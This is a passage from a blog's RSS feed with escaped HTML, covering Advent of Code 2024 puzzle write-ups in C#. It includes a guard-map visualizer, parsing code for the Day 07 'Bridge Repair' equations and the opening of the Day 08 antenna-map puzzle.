&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;private&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;char&lt;/span&gt; &lt;span style="color:#111"&gt;ToCharVisualization&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;Coordinate&lt;/span&gt; &lt;span style="color:#111"&gt;coordinate&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;AreaMap&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Obstacles&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Contains&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;coordinate&lt;/span&gt;&lt;span style="color:#111"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;return&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#39;#&amp;#39;&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;coordinate&lt;/span&gt; &lt;span style="color:#111"&gt;==&lt;/span&gt; &lt;span style="color:#111"&gt;StartingPosition&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Coordinate&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;return&lt;/span&gt; &lt;span style="color:#111"&gt;StartingPosition&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Orientation&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;switch&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;Orientation&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Up&lt;/span&gt; &lt;span style="color:#111"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#39;^&amp;#39;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;Orientation&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Left&lt;/span&gt; &lt;span style="color:#111"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#39;&amp;lt;&amp;#39;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;Orientation&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Right&lt;/span&gt; &lt;span style="color:#111"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#39;&amp;gt;&amp;#39;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;Orientation&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Down&lt;/span&gt; &lt;span style="color:#111"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#39;v&amp;#39;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;_&lt;/span&gt; &lt;span style="color:#111"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;throw&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;new&lt;/span&gt; &lt;span style="color:#111"&gt;ArgumentException&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;$&amp;#34;Unrecognized orientation {StartingPosition.Orientation}&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;return&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#39;.&amp;#39;&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;private&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;void&lt;/span&gt; &lt;span style="color:#111"&gt;VisualizeMapWithGuardMovement&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;HashSet&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#111"&gt;Visit&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;visits&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;HashSet&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#111"&gt;Coordinate&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;visitedCoordinates&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;[..&lt;/span&gt; &lt;span style="color:#111"&gt;visits&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Select&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;v&lt;/span&gt; &lt;span style="color:#111"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;v&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Coordinate&lt;/span&gt;&lt;span style="color:#111"&gt;)];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;for&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;int&lt;/span&gt; &lt;span style="color:#111"&gt;r&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt; &lt;span style="color:#111"&gt;r&lt;/span&gt; &lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#111"&gt;AreaMap&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;RowCount&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt; &lt;span style="color:#111"&gt;r&lt;/span&gt;&lt;span style="color:#111"&gt;++)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;for&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;int&lt;/span&gt; &lt;span style="color:#111"&gt;c&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt; &lt;span style="color:#111"&gt;c&lt;/span&gt; &lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#111"&gt;AreaMap&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;ColCount&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt; &lt;span style="color:#111"&gt;c&lt;/span&gt;&lt;span style="color:#111"&gt;++)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;Coordinate&lt;/span&gt; &lt;span style="color:#111"&gt;coordinate&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;new&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;r&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;c&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;char&lt;/span&gt; &lt;span style="color:#111"&gt;representation&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;visitedCoordinates&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Contains&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;coordinate&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;?&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#39;X&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#111"&gt;ToCharVisualization&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;coordinate&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;Console&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Write&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;representation&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;Console&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;WriteLine&lt;/span&gt;&lt;span style="color:#111"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id="part-one"&gt;Part One&lt;/h2&gt;
&lt;p&gt;The guard follows a strict patrol protocol which involves repeatedly following
these steps:&lt;/p&gt;</description></item><item><title>AoC 2024 Day 07: Bridge Repair</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/07-bridge-repair/07-bridge-repair/</link><pubDate>Sat, 23 Aug 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/07-bridge-repair/07-bridge-repair/</guid><description>&lt;h2 id="parsing"&gt;Parsing&lt;/h2&gt;
&lt;p&gt;Each line represents a single equation, e.g., &lt;code&gt;292: 11 6 16 20&lt;/code&gt;. &lt;span class="citation-ref"&gt;&lt;a href="#AoC2024Day07"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;
&lt;a href="#part-one"
 
 
 
 &gt;
 Part One
 
&lt;/a&gt;
 needs to make a decision based on each line independently.
Parsing each line into a data structure and yielding that should suffice.&lt;/p&gt;


&lt;div id='BridgeRepair.Parse.cs'&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cs" data-lang="cs"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;using&lt;/span&gt; &lt;span style="color:#111"&gt;System.Collections.Immutable&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;using&lt;/span&gt; &lt;span style="color:#111"&gt;System.Text.RegularExpressions&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;namespace&lt;/span&gt; &lt;span style="color:#111"&gt;AoC2024&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;partial&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;class&lt;/span&gt; &lt;span style="color:#75af00"&gt;BridgeRepair&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;static&lt;/span&gt; &lt;span style="color:#111"&gt;IEnumerable&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#111"&gt;CalibrationEquation&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;Parse&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;string&lt;/span&gt; &lt;span style="color:#111"&gt;filePath&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;using&lt;/span&gt; &lt;span style="color:#111"&gt;var&lt;/span&gt; &lt;span style="color:#111"&gt;inputReader&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;new&lt;/span&gt; &lt;span style="color:#111"&gt;StreamReader&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;filePath&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;string?&lt;/span&gt; &lt;span style="color:#111"&gt;line&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;while&lt;/span&gt; &lt;span style="color:#111"&gt;((&lt;/span&gt;&lt;span style="color:#111"&gt;line&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;inputReader&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;ReadLine&lt;/span&gt;&lt;span style="color:#111"&gt;())&lt;/span&gt; &lt;span style="color:#111"&gt;!=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;null&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;var&lt;/span&gt; &lt;span style="color:#111"&gt;numbers&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;InputLineRegex&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Matches&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;line&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Select&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;match&lt;/span&gt; &lt;span style="color:#111"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;long&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Parse&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;match&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Value&lt;/span&gt;&lt;span style="color:#111"&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;yield&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;return&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;new&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;numbers&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;First&lt;/span&gt;&lt;span style="color:#111"&gt;(),&lt;/span&gt; &lt;span style="color:#111"&gt;numbers&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Skip&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#111"&gt;).&lt;/span&gt;&lt;span style="color:#111"&gt;ToImmutableList&lt;/span&gt;&lt;span style="color:#111"&gt;());&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;readonly&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;record&lt;/span&gt; &lt;span style="color:#75af00"&gt;struct&lt;/span&gt; &lt;span style="color:#111"&gt;CalibrationEquation&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;long&lt;/span&gt; &lt;span style="color:#111"&gt;Result&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;ImmutableList&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;long&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;Operands&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;private&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;static&lt;/span&gt; &lt;span style="color:#111"&gt;Regex&lt;/span&gt; &lt;span style="color:#111"&gt;InputLineRegex&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;NumbersRegex&lt;/span&gt;&lt;span style="color:#111"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt; [GeneratedRegex(@&amp;#34;\d+&amp;#34;)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;static&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;private&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;partial&lt;/span&gt; &lt;span style="color:#111"&gt;Regex&lt;/span&gt; &lt;span style="color:#111"&gt;NumbersRegex&lt;/span&gt;&lt;span style="color:#111"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id="part-one"&gt;Part One&lt;/h2&gt;
&lt;p&gt;Using only &lt;strong&gt;add&lt;/strong&gt; and &lt;strong&gt;multiply&lt;/strong&gt;, evaluated left-to-right (not according to
math precedence rules), determine which equations could possibly be true. For
example, \(292 = ((11 + 6) \times 16) + 20\). Of the equations that could
possibly be true, what is the sum of their results? &lt;span class="citation-ref"&gt;&lt;a href="#AoC2024Day07"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>AoC 2024 Day 08: Resonant Collinearity</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/08-resonant-collinearity/08-resonant-collinearity/</link><pubDate>Sat, 23 Aug 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/08-resonant-collinearity/08-resonant-collinearity/</guid><description>&lt;h2 id="parsing"&gt;Parsing&lt;/h2&gt;
&lt;p&gt;Each antenna in the map is tuned to a frequency indicated by a single lowercase
letter, uppercase letter, or digit. &lt;span class="citation-ref"&gt;&lt;a href="#AoC2024Day08"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Two antennas with the same frequency create two collinear antinodes on either
side where one of the antennas is twice as far away as the other, e.g.&lt;/p&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;#&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;f&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;f&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;/tr&gt;
